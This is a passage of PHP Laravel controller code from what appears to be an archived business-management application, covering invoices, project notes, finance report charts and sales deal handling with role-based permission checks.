'pending-confirmation'; $invoice->save(); } return Reply::successWithData(__('messages.requestSent'), ['redirectUrl' => $returnUrl]); } public function makeInvoice($orderId) { /* Step1 - Set order status paid */ $order = Order::findOrFail($orderId); /* Step2 - Make an invoice related to recently paid order_id */ $invoice = new Invoice(); $invoice->order_id = $orderId; $invoice->client_id = $order->client_id; $invoice->sub_total = $order->sub_total; $invoice->total = $order->total; $invoice->currency_id = $order->currency_id; $invoice->status = 'paid'; $invoice->note = trim_editor($order->note); $invoice->issue_date = now(); $invoice->send_status = 1; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->due_amount = 0; $invoice->save(); /* Step3 - Make invoice item & image entry */ if (isset($order->items)) { foreach ($order->items as $item) /* @phpstan-ignore-line */ { // Save invoice item $invoiceItem = new InvoiceItems(); $invoiceItem->invoice_id = $invoice->id; $invoiceItem->item_name = $item->item_name; $invoiceItem->item_summary = $item->item_summary; $invoiceItem->type = $item->type; $invoiceItem->quantity = $item->quantity; $invoiceItem->unit_price = $item->unit_price; $invoiceItem->amount = $item->amount; $invoiceItem->hsn_sac_code = $item->hsn_sac_code; $invoiceItem->taxes = $item->taxes; $invoiceItem->save(); // Save invoice item image if ($item->orderItemImage) { $invoiceItemImage = new InvoiceItemImage(); $invoiceItemImage->invoice_item_id = $invoiceItem->id; $invoiceItemImage->external_link = $item->orderItemImage->external_link; $invoiceItemImage->save(); } } } return $invoice; } public function cancelStatus(Request $request) { $invoice = Invoice::findOrFail($request->invoiceID); $invoice->status = 'canceled'; // update status as canceled $invoice->save(); if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $quickBooks->voidInvoice($invoice); } optional($invoice->payment->first())->delete(); return Reply::success(__('messages.updateSuccess')); } public function getClientOrCompanyName($projectID = '') { $this->projectID = $projectID; $this->currencies = Currency::all(); if ($projectID == '') { $this->clients = User::allClients(); $exchangeRate = company()->currency->exchange_rate; $currencyName = company()->currency->currency_code; } else { $this->client = Project::with('currency')->where('id', $projectID)->with('client')->first(); $this->companyName = ''; $this->clientId = ''; if ($this->client) { $this->companyName = $this->client->client->name; $this->clientId = $this->client->client->id; } $exchangeRate = Currency::where('id', $this->client->currency_id)->pluck('exchange_rate')->toArray(); $currencyName = $this->client->currency->currency_code; } $currency = view('invoices.currency_list', $this->data)->render(); $list = view('invoices.client_or_company_name', $this->data)->render(); return Reply::dataOnly(['html' => $list, 'currency' => $currency, 'exchangeRate' => $exchangeRate, 'currencyName' => $currencyName]); } public function fetchTimelogs(Request $request) { $this->taxes = Tax::all(); $this->invoiceSetting = invoice_setting(); $projectId = $request->projectId; $this->qtyVal = $request->qtyValue; $this->timelogs = []; $this->units = UnitType::all(); if (!is_null($request->timelogFrom) && $request->timelogFrom != '') { $timelogFrom = companyToYmd($request->timelogFrom); $timelogTo = companyToYmd($request->timelogTo); $this->timelogs = ProjectTimeLog::with('task') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->groupBy('project_time_logs.task_id') ->where('project_time_logs.project_id', $projectId) ->where('project_time_logs.earnings', '>', 0) ->where('project_time_logs.approved', 1) ->where( function ($query) { $query->where('tasks.billable', 1) ->orWhereNull('tasks.billable'); } ) ->whereDate('project_time_logs.start_time', '>=', $timelogFrom) ->whereDate('project_time_logs.end_time', '<=', $timelogTo) ->selectRaw('project_time_logs.id, project_time_logs.task_id, sum(project_time_logs.earnings) as sum') ->get(); } $html = view('invoices.timelog-item', $this->data)->render(); return Reply::dataOnly(['html' => $html]); } public function checkShippingAddress() { if (request()->has('clientId')) { $user = User::findOrFail(request()->clientId); if (request()->showShipping == 'yes' && (is_null($user->clientDetails->shipping_address) || $user->clientDetails->shipping_address === '')) { $view = view('invoices.show_shipping_address_input')->render(); return Reply::dataOnly(['view' => $view]); } else { return Reply::dataOnly(['show' => 'false']); } } else { return Reply::dataOnly(['switch' => 'off']); } } public function toggleShippingAddress(Invoice $invoice) { $invoice->show_shipping_address = ($invoice->show_shipping_address === 'yes') ? 'no' : 'yes'; $invoice->save(); return Reply::success(__('messages.updateSuccess')); } public function shippingAddressModal(Invoice $invoice) { $clientId = $invoice->clientdetails ? $invoice->clientdetails->user_id : $invoice->project->clientdetails->user_id; return view('invoices.add_shipping_address', ['clientId' => $clientId]); } public function addShippingAddress(StoreShippingAddressRequest $request, $clientId) { $clientDetail = ClientDetails::where('user_id', $clientId)->first(); $clientDetail->shipping_address = $request->shipping_address; $clientDetail->save(); return Reply::success(__('messages.recordSaved')); } public function deleteInvoiceItemImage(Request $request) { $item = InvoiceItemImage::where('invoice_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, InvoiceItemImage::FILE_PATH . '/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function getExchangeRate($id) { $exchangeRate = Currency::where('id', $id)->pluck('exchange_rate')->toArray(); return Reply::dataOnly(['status' => 'success', 'data' => $exchangeRate]); } public function getclients($id) { $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'type' => $unitId] ); } public function productCategory(Request $request) { $categorisedProduct = Product::with('category'); if (!is_null($request->id) && $request->id != 'null' && $request->id != '') { $categorisedProduct = $categorisedProduct->where('category_id', $request->id); } $categorisedProduct = $categorisedProduct->get(); return Reply::dataOnly(['status' => 'success', 'data' => $categorisedProduct] ); } public function offlineDescription(Request $request) { $id = $request->id; $offlineMethod = $id ? OfflinePaymentMethod::findOrFail($id) : ''; $description = $offlineMethod ? ''.$offlineMethod->description.'' : ''; if($offlineMethod && $offlineMethod->image){ $description .= ''; } return Reply::dataOnly(['status' => 'success', 'description' => $description]); } } Http/Controllers/ProjectNoteController.php000064400000020266150325104510015004 0ustar00pageTitle = 'app.menu.projects'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } public function create() { $this->viewProjectPermission = user()->permission('add_project_note'); $this->project = Project::findOrFail(request('project')); abort_403(!(in_array($this->viewProjectPermission, ['all']) || $this->project->project_admin == user()->id)); $this->employees = $this->project->projectMembers; $this->pageTitle = __('app.addProjectNote'); $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->view = 'projects.notes.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('projects.create', $this->data); } public function store(StoreProjectNote $request) { $this->addProjectPermission = user()->permission('add_project_note'); $this->project = Project::findOrFail(request('project_id')); abort_403(!(in_array($this->addProjectPermission, ['all']) || $this->project->project_admin == user()->id)); $note = new ProjectNote(); $note->title = $request->title; $note->project_id = $request->project_id; $note->details = $request->details; $note->type = $request->type; $note->client_id = $request->client_id ?? null; $note->is_client_show = $request->is_client_show ? $request->is_client_show : ''; $note->ask_password = $request->ask_password ? $request->ask_password : ''; $note->save(); /* if note type is private */ if ($request->type == 1) { $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { ProjectUserNote::firstOrCreate([ 'user_id' => $user, 'project_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('projects.show', $note->project_id) . '?tab=notes']); } public function show($id) { $this->note = ProjectNote::with('project')->findOrFail($id); if ($this->note->type == 1) { $this->employees = $this->note->noteUsers; } else { $this->employees = $this->note->project->projectMembers; /** @phpstan-ignore-line */ } $memberIds = $this->note->project->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ $this->viewPermission = user()->permission('view_projects'); $viewProjectNotePermission = user()->permission('view_project_note'); abort_403(!( $viewProjectNotePermission == 'all' || $this->note->type == 0 /** @phpstan-ignore-next-line */ || ($this->note->project && $this->note->project->project_admin == user()->id) || ($viewProjectNotePermission == 'added' && $this->note->added_by == user()->id) || ($viewProjectNotePermission == 'owned' && $this->note->client_id == user()->id) /* @phpstan-ignore-line */ || ($viewProjectNotePermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($viewProjectNotePermission == 'both' && (user()->id == $this->note->client_id || $this->note->added_by == user()->id || in_array(user()->id, $memberIds)))/* @phpstan-ignore-line */ )); $this->pageTitle = $this->note->title; $this->view = 'projects.notes.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return redirect(route('projects.show', $this->note->project_id) . '?tab=notes'); } public function edit($id) { $this->editPermission = user()->permission('edit_project_note'); $this->note = ProjectNote::with('project')->findOrFail($id); $this->employees = $this->note->project->projectMembers; /** @phpstan-ignore-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->projectId = $this->note->project_id; $projectuserData = []; $usersData = $this->note->project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $projectuserData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->projectuserData = $projectuserData; abort_403(!in_array($this->editPermission, ['all', 'added', 'owned', 'both'])); $this->pageTitle = __('app.editProjectNote'); $this->view = 'projects.notes.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('projects.create', $this->data); } public function update(StoreProjectNote $request, $id) { $note = ProjectNote::findOrFail($id); $note->title = $request->title; $note->project_id = $request->project_id; $note->details = $request->details; $note->type = $request->type; $note->is_client_show = $request->is_client_show ?: ''; $note->ask_password = $request->ask_password ?: ''; $note->save(); // delete all data od this project_note_id from client_user_notes ProjectUserNote::where('project_note_id', $note->id)->delete(); /* if note type is private */ if ($request->type == 1) { $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { ProjectUserNote::firstOrCreate([ 'user_id' => $user, 'project_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('projects.show', $note->project_id) . '?tab=notes']); } public function destroy($id) { $this->contact = ProjectNote::findOrFail($id); $this->deletePermission = user()->permission('delete_project_note'); if ( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->contact->added_by == user()->id) ) { $this->contact->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_project_note') !== 'all'); ProjectNote::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } public function askForPassword($id) { $this->note = ProjectNote::findOrFail($id); return view('projects.notes.verify-password', $this->data); } public function checkPassword(Request $request) { $this->client = User::findOrFail($this->user->id); return Hash::check($request->password, $this->client->password) ? Reply::success(__('messages.passwordMatched')) : Reply::error(__('messages.incorrectPassword')); } } Http/Controllers/FinanceReportController.php000064400000011737150325104510015312 0ustar00pageTitle = 'app.menu.financeReport'; } public function index(FinanceReportDataTable $dataTable) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->currencies = Currency::all(); $this->currentCurrencyId = $this->company->currency_id; $this->projects = Project::allProjects(); $this->clients = User::allClients(); return $dataTable->render('reports.finance.index', $this->data); } /** * @param Request $request * @return mixed */ public function financeChartData(Request $request) { $startDate = now($this->company->timezone)->startOfMonth()->toDateString(); $endDate = now($this->company->timezone)->toDateString(); $payments = Payment::join('currencies', 'currencies.id', '=', 'payments.currency_id') ->leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->where('payments.status', 'complete'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } $payments = $payments->where(DB::raw('DATE(payments.`paid_on`)'), '>=', $startDate); if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $payments = $payments->where(DB::raw('DATE(payments.`paid_on`)'), '<=', $endDate); if ($request->projectID != 'all' && !is_null($request->projectID)) { $payments = $payments->where('payments.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $clientId = $request->clientID; $payments = $payments->where(function ($query) use ($clientId) { $query->where('projects.client_id', $clientId) ->orWhere('invoices.client_id', $clientId); }); } $payments = $payments->orderBy('paid_on', 'ASC') ->get([ DB::raw('DATE_FORMAT(paid_on,"%d-%M-%y") as date'), DB::raw('YEAR(paid_on) year, MONTH(paid_on) month'), DB::raw('amount as total'), 'currencies.id as currency_id', 'payments.exchange_rate', 'payments.default_currency_id' ]); $incomes = array(); foreach ($payments as $invoice) { if((is_null($invoice->default_currency_id) && is_null($invoice->exchange_rate)) || (!is_null($invoice->default_currency_id) && Company()->currency_id != $invoice->default_currency_id)) { $currency = Currency::findOrFail($invoice->currency_id); $exchangeRate = $currency->exchange_rate; } else { $exchangeRate = $invoice->exchange_rate; } if (!isset($incomes[$invoice->date])) { $incomes[$invoice->date] = 0; } if ($invoice->currency_id != $this->company->currency_id && $exchangeRate != 0) { $incomes[$invoice->date] += floatval($invoice->total) * floatval($exchangeRate); } else { $incomes[$invoice->date] += floatval($invoice->total); } } $dates = array_keys($incomes); $graphData = array(); foreach ($dates as $date) { $graphData[] = [ 'date' => $date, 'total' => isset($incomes[$date]) ? round($incomes[$date], 2) : 0, ]; } usort($graphData, function ($a, $b) { $t1 = strtotime($a['date']); $t2 = strtotime($b['date']); return $t1 - $t2; }); // return $graphData; $graphData = collect($graphData); $data['labels'] = $graphData->pluck('date')->toArray(); $data['values'] = $graphData->pluck('total')->toArray(); $totalEarning = $graphData->sum('total'); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('modules.dashboard.totalEarnings'); $this->chartData = $data; $html = view('reports.timelogs.chart', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'totalEarnings' => currency_format($totalEarning, company()->currency_id)]); } } Http/Controllers/DealController.php000064400000110734150325104510013415 0ustar00pageTitle = 'app.menu.deal'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); $this->viewLeadPermission = user()->permission('view_deals'); $this->viewEmployeePermission = user()->permission('view_employees'); $this->viewDealLeadPermission = user()->permission('view_lead'); $this->viewLeadAgentPermission = user()->permission('view_lead_agents'); $this->viewLeadCategoryPermission = user()->permission('view_lead_category'); return $next($request); }); } public function index(DealsDataTable $dataTable) { $this->destroySession(); abort_403(!in_array($this->viewLeadPermission, ['all', 'added', 'both', 'owned'])); if (!request()->ajax()) { $this->loadDataForView(); $this->products = Product::all(); } return $dataTable->render('leads.index', $this->data); } protected function loadDataForView() { $this->loadPipelineData(); $this->loadDealData(); $this->loadLeadAgents(); $this->loadDealWatcher(); $this->loadDealLeads(); } protected function loadPipelineData() { $this->pipelines = LeadPipeline::all(); $defaultPipeline = LeadPipeline::where('default', 1)->first(); $this->stages = PipelineStage::where('lead_pipeline_id', optional($defaultPipeline)->id)->get(); $this->categories = LeadCategory::all(); $this->sources = LeadSource::all(); } protected function loadDealData() { $this->totalDeals = Deal::all(); $this->totalClientConverted = $this->totalDeals->whereNotNull('client_id')->count(); $this->totalLeads = $this->totalDeals->count(); $this->pendingLeadFollowUps = DealFollowUp::whereDate('next_follow_up_date', '<=', now()->format('Y-m-d')) ->join('deals', 'deals.id', 'lead_follow_up.deal_id') ->where('deals.next_follow_up', 'yes') ->groupBy('lead_follow_up.deal_id') ->count(); $this->dealAgents = LeadAgent::with('user') ->whereHas('user', function ($q) { $q->where('status', 'active'); })->where('status', 'enabled')->groupBy('user_id')->get(); } protected function loadLeadAgents() { $this->leadAgents = LeadAgent::with('user') ->whereHas('user', function ($q) { $q->where('status', 'active'); })->groupBy('user_id')->get(); } protected function loadDealWatcher() { $this->dealWatcher = User::allEmployees(null); if (in_array($this->viewEmployeePermission, ['added', 'owned', 'both'])) { $this->dealWatcher = $this->dealWatcher->where(function ($query) { $query->when($this->viewEmployeePermission == 'added', function ($q) { $q->where('employee_details.added_by', user()->id); })->when($this->viewEmployeePermission == 'owned', function ($q) { $q->where('employee_details.user_id', user()->id); })->when($this->viewEmployeePermission == 'both', function ($q) { $q->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); }); }); } } protected function loadDealLeads() { $this->dealLeads = Lead::select(['id', 'client_name'])->get(); } public function show($id) { $this->deal = Deal::with('leadAgent.user:id,name,image', 'category')->findOrFail($id)->withCustomFields(); $this->leadAgentId = ($this->deal->leadAgent != null) ? $this->deal->leadAgent->user->id : 0; $this->leadAgentName = ($this->deal->leadAgent != null) ? $this->deal->leadAgent->user->name : ''; $this->viewPermission = user()->permission('view_deals'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->deal->added_by == user()->id) || ($this->viewPermission == 'owned' && (($this->leadAgentId == user()->id) || (!is_null($this->deal->deal_watcher) && user()->id == $this->deal->deal_watcher))) || ($this->viewPermission == 'both' && ($this->deal->added_by == user()->id || $this->leadAgentId == user()->id || (!is_null($this->deal->deal_watcher) && user()->id == $this->deal->deal_watcher))) )); $this->pageTitle = $this->deal->name; $this->productNames = $this->deal->products->pluck('name')->toArray(); $this->leadFormFields = LeadCustomForm::with('customField')->where('status', 'active')->where('custom_fields_id', '!=', 'null')->get(); $this->leadId = $id; $getCustomFieldGroupsWithFields = $this->deal->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->deleteLeadPermission = user()->permission('delete_deals'); $this->view = 'leads.ajax.profile'; $tab = request('tab'); switch ($tab) { case 'files': $this->tab = 'leads.ajax.files'; break; case 'follow-up': $this->dealFollowUps = DealFollowUp::where('deal_id', $id)->get(); if (user()->permission('view_lead_follow_up') == 'added') { $this->dealFollowUps = $this->dealFollowUps->where('added_by', user()->id); } $this->tab = 'leads.ajax.follow-up'; break; case 'proposals': abort_403(!in_array(user()->permission('view_lead_proposals'), ['all', 'added'])); $this->proposals = Proposal::where('deal_id', $id)->get(); if (user()->permission('view_lead_proposals') == 'added') { $this->proposals = $this->proposals->where('added_by', user()->id); } $this->tab = 'leads.ajax.proposal'; break; case 'notes': $this->notes = DealNote::where('deal_id', $id)->orderBy('created_at', 'desc')->get(); $viewNotesPermission = user()->permission('view_deal_note'); abort_403(!($viewNotesPermission == 'all' || $viewNotesPermission == 'added' || $viewNotesPermission == 'both' || $viewNotesPermission == 'owned')); if (user()->permission('view_deal_note') == 'added') { $this->notes->where('added_by', user()->id); } elseif (user()->permission('view_deal_note') == 'owned') { $this->notes->where('added_by', '!=', user()->id); } $this->tab = 'leads.ajax.notes'; break; case 'gdpr': $this->consents = PurposeConsent::with(['lead' => function ($query) use ($id) { $query->where('lead_id', $id) ->orderByDesc('created_at'); }])->get(); $this->gdpr = GdprSetting::first(); return $this->gdpr(); case 'history': $this->histories = DealHistory::where('deal_id', $id)->orderBy('created_at', 'desc')->get(); $this->tab = 'leads.ajax.history'; break; default: $this->tab = 'leads.ajax.files'; break; } if (request()->ajax()) { $view = request('json') ? $this->tab : 'leads.ajax.show'; return $this->returnAjax($view); } $this->view = 'leads.ajax.show'; return view('leads.create', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_deals'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->employees = User::allEmployees(null, true); $defaultStatus = LeadStatus::where('default', '1')->first(); $this->columnId = ((request('column_id') != '') ? request('column_id') : $defaultStatus->id); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); $this->stage = (request()->has('column_id') && !is_null(request()->column_id)) ? PipelineStage::find(request()->column_id) : null; $this->contactID = (request()->has('contact_id') && !is_null(request()->contact_id)) ? request()->contact_id : null; $this->leadAgentArray = $this->leadAgents->pluck('user_id')->toArray(); if ((in_array(user()->id, $this->leadAgentArray))) { $this->myAgentId = $this->leadAgents->filter(function ($value, $key) { return $value->user_id == user()->id; })->first()->id; } $deal = new Deal(); $getCustomFieldGroupsWithFields = $deal->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->leadContacts = Lead::allLeads(); $this->products = Product::all(); $this->sources = LeadSource::all(); $this->stages = PipelineStage::all(); $this->categories = LeadCategory::query(); if ($this->viewLeadCategoryPermission == 'added') { $this->categories->where('added_by', user()->id); } elseif ($this->viewLeadCategoryPermission == 'both') { $this->categories->where(function ($query) { $query->where('added_by', user()->id); }); } $this->categories = $this->categories->get(); $this->leadPipelines = LeadPipeline::orderBy('default', 'DESC')->get(); $this->leadStages = PipelineStage::all(); $this->countries = countries(); $this->pageTitle = __('modules.deal.createTitle'); $this->salutations = Salutation::cases(); $this->view = 'leads.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('leads.create', $this->data); } /** * @param StoreRequest $request * @return array|void * @throws RelatedResourceNotFoundException */ public function store(StoreRequest $request) { $this->addPermission = user()->permission('add_deals'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $agentId = null; if (!is_null($request->agent_id)) { $leadAgent = LeadAgent::where('user_id', $request->agent_id)->where('lead_category_id', $request->category_id)->first(); $agentId = isset($leadAgent) ? $leadAgent->id : null; } $deal = new Deal(); $deal->name = $request->name; $deal->lead_id = $request->lead_contact; $deal->next_follow_up = 'yes'; $deal->category_id = $request->category_id; $deal->deal_watcher = $request->deal_watcher; $deal->lead_pipeline_id = $request->pipeline; $deal->pipeline_stage_id = $request->stage_id; $deal->agent_id = $agentId; $deal->close_date = companyToYmd($request->close_date); $deal->value = ($request->value) ?: 0; $deal->currency_id = $this->company->currency_id; $deal->save(); if (!is_null($request->product_id)) { $products = $request->product_id; foreach ($products as $product) { $leadProduct = new LeadProduct(); $leadProduct->deal_id = $deal->id; $leadProduct->product_id = $product; $leadProduct->save(); } } // To add custom fields data if ($request->custom_fields_data) { $deal->updateCustomFieldData($request->custom_fields_data); } // Log search $this->logSearchEntry($deal->id, $deal->name, 'deals.show', 'deal'); $redirectUrl = urldecode($request->redirect_url); if ($request->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true]); } if ($redirectUrl == '') { $redirectUrl = route('deals.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->deal = Deal::with('currency', 'leadAgent', 'leadAgent.user', 'products', 'leadStage')->findOrFail($id)->withCustomFields(); $this->productIds = $this->deal->products->pluck('id')->toArray(); $this->editPermission = user()->permission('edit_deals'); $this->employees = User::allEmployees(null, false); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->deal->added_by == user()->id) || ($this->editPermission == 'owned' && ((!is_null($this->deal->agent_id) && !is_null($this->deal->leadAgent) && user()->id == $this->deal->leadAgent->user->id) || (!is_null($this->deal->deal_watcher) && user()->id == $this->deal->deal_watcher))) || ($this->editPermission == 'both' && (((!is_null($this->deal->agent_id) && !is_null($this->deal->leadAgent) && user()->id == $this->deal->leadAgent->user->id) || (!is_null($this->deal->deal_watcher) && user()->id == $this->deal->deal_watcher)) || user()->id == $this->deal->added_by)) )); $this->tab = (!is_null(request('tab'))) ? request('tab') : null; // Filter out active employees $activeEmployees = $this->employees->filter(function ($employee) { return $employee->status !== 'deactive'; }); // Get the selected employee who is a deal watcher $selectedEmployee = $this->employees->firstWhere('id', $this->deal->deal_watcher); // Include the selected deactivated employee in the list if they are deactivated if ($selectedEmployee && $selectedEmployee->status === 'deactive') { $this->employees = $activeEmployees->push($selectedEmployee); } else { $this->employees = $activeEmployees; } $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); $getCustomFieldGroupsWithFields = $this->deal->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->categories = LeadCategory::query(); if ($this->viewLeadCategoryPermission == 'added') { $this->categories->where('added_by', user()->id); } elseif ($this->viewLeadCategoryPermission == 'both') { $this->categories->where(function ($query) { $query->where('added_by', user()->id); }); } $this->categories = $this->categories->get(); $this->leadContacts = Lead::all(); $this->products = Product::all(); $this->leadPipelines = LeadPipeline::all(); $this->stages = PipelineStage::where('lead_pipeline_id', $this->deal->lead_pipeline_id)->get(); $this->pageTitle = __('modules.deal.updateDeal'); $this->salutations = Salutation::cases(); $this->view = 'leads.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('leads.create', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array|void * @throws RelatedResourceNotFoundException */ public function update(UpdateRequest $request, $id) { $deal = Deal::with('leadAgent', 'leadAgent.user')->findOrFail($id); $this->editPermission = user()->permission('edit_deals'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $deal->added_by == user()->id) || ($this->editPermission == 'owned' && ((!is_null($deal->agent_id) && !is_null($deal->leadAgent) && user()->id == $deal->leadAgent->user->id) || (!is_null($deal->deal_watcher) && user()->id == $deal->deal_watcher))) || ($this->editPermission == 'both' && (((!is_null($deal->agent_id) && !is_null($deal->leadAgent) && user()->id == $deal->leadAgent->user->id) || (!is_null($deal->deal_watcher) && user()->id == $deal->deal_watcher)) || user()->id == $deal->added_by)) )); if (!is_null($request->agent_id)) { $leadAgent = LeadAgent::where('user_id', $request->agent_id)->where('lead_category_id', $request->category_id)->first(); $deal->agent_id = $leadAgent->id; }else{ $deal->agent_id = $request->agent_id; } $deal->name = $request->name; $deal->deal_watcher = $request->deal_watcher; $deal->next_follow_up = $request->next_follow_up; $deal->lead_pipeline_id = $request->pipeline; $deal->pipeline_stage_id = $request->stage_id; $deal->close_date = companyToYmd($request->close_date); $deal->value = ($request->value) ?: 0; $deal->currency_id = $this->company->currency_id; $deal->category_id = $request->category_id; $deal->save(); $deal->products()->sync($request->product_id); // To add custom fields data if ($request->custom_fields_data) { $deal->updateCustomFieldData($request->custom_fields_data); } $redirectTo = (!is_null(request('tab')) && request('tab') == 'overview') ? route('deals.show', [$deal->id]) : route('deals.index'); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectTo]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $deal = Deal::with('leadAgent', 'leadAgent.user')->findOrFail($id); $this->deletePermission = user()->permission('delete_deals'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $deal->added_by == user()->id) || ($this->deletePermission == 'owned' && ((!is_null($deal->agent_id) && !is_null($deal->leadAgent) && user()->id == $deal->leadAgent->user->id) || (!is_null($deal->deal_watcher) && user()->id == $deal->deal_watcher))) || ($this->deletePermission == 'both' && (((!is_null($deal->agent_id) && !is_null($deal->leadAgent) && user()->id == $deal->leadAgent->user->id) || (!is_null($deal->deal_watcher) && user()->id == $deal->deal_watcher)) || user()->id == $deal->added_by)) )); $model = new ReflectionClass('App\Models\Deal'); DB::table('custom_fields_data') ->where('model', $model->getName()) ->where('model_id', $id) ->delete(); Deal::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * @param CommonRequest $request * @return array */ public function changeStatus(CommonRequest $request) { $deal = Deal::findOrFail($request->leadID); $this->editPermission = user()->permission('edit_deals'); $this->changeLeadStatusPermission = user()->permission('change_deal_stages'); abort_403(!(($this->editPermission == 'all' || ($this->editPermission == 'added' && $deal->added_by == user()->id)) || $this->changeLeadStatusPermission == 'all')); $deal->status_id = $request->statusID; $deal->save(); return Reply::success(__('messages.recordSaved')); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); case 'change-deal-agents': $this->changeAgentStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_deals') != 'all'); $model = new ReflectionClass('App\Models\Deal'); DB::table('custom_fields_data') ->where('model', $model->getName()) ->whereIn('model_id', explode(',', $request->row_ids)) ->delete(); Deal::whereIn('id', explode(',', $request->row_ids))->delete(); } protected function changeBulkStatus($request) { $canEditDeals = user()->permission('edit_deals') == 'all'; $canChangeStages = user()->permission('change_deal_stages') == 'all'; abort_403(!($canEditDeals || $canChangeStages)); $rowIds = explode(',', $request->row_ids); $newStatus = $request->status; $stage = PipelineStage::find($newStatus); if($stage->slug === 'win' || $stage->slug === 'lost'){ Deal::whereIn('id', $rowIds)->whereNull('close_date')->update(['close_date' => now()->format('Y-m-d')]); } Deal::whereIn('id', $rowIds)->update(['pipeline_stage_id' => $newStatus]); } protected function changeAgentStatus($request) { abort_403(user()->permission('edit_deals') != 'all'); $agent = LeadAgent::find($request->agent); $agentsWithSameUser = LeadAgent::where('user_id', $agent->user_id)->get(); $rowIds = explode(',', $request->row_ids); $leads = Deal::with('leadAgent', 'category')->whereIn('id', $rowIds)->get(); foreach ($leads as $deal) { // Find an agent from the list with matching category $matchingAgent = $agentsWithSameUser->firstWhere('lead_category_id', $deal->category_id); if ($matchingAgent) { // Assign the matching agent to the deal $deal->agent_id = $matchingAgent->id; $deal->save(); } } } /** * * @param int $leadID * @return void */ public function followUpCreate($dealID) { $this->addPermission = user()->permission('add_lead_follow_up'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->dealID = $dealID; $this->deal = Deal::findOrFail($dealID); return view('leads.followup.create', $this->data); } public function leadFollowup() { $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'leads.ajax.follow-up'; $dataTable = new LeadFollowupDataTable(); return $dataTable->render('leads.show', $this->data); } /** * @param FollowUpStoreRequest $request * @return array|void * @throws 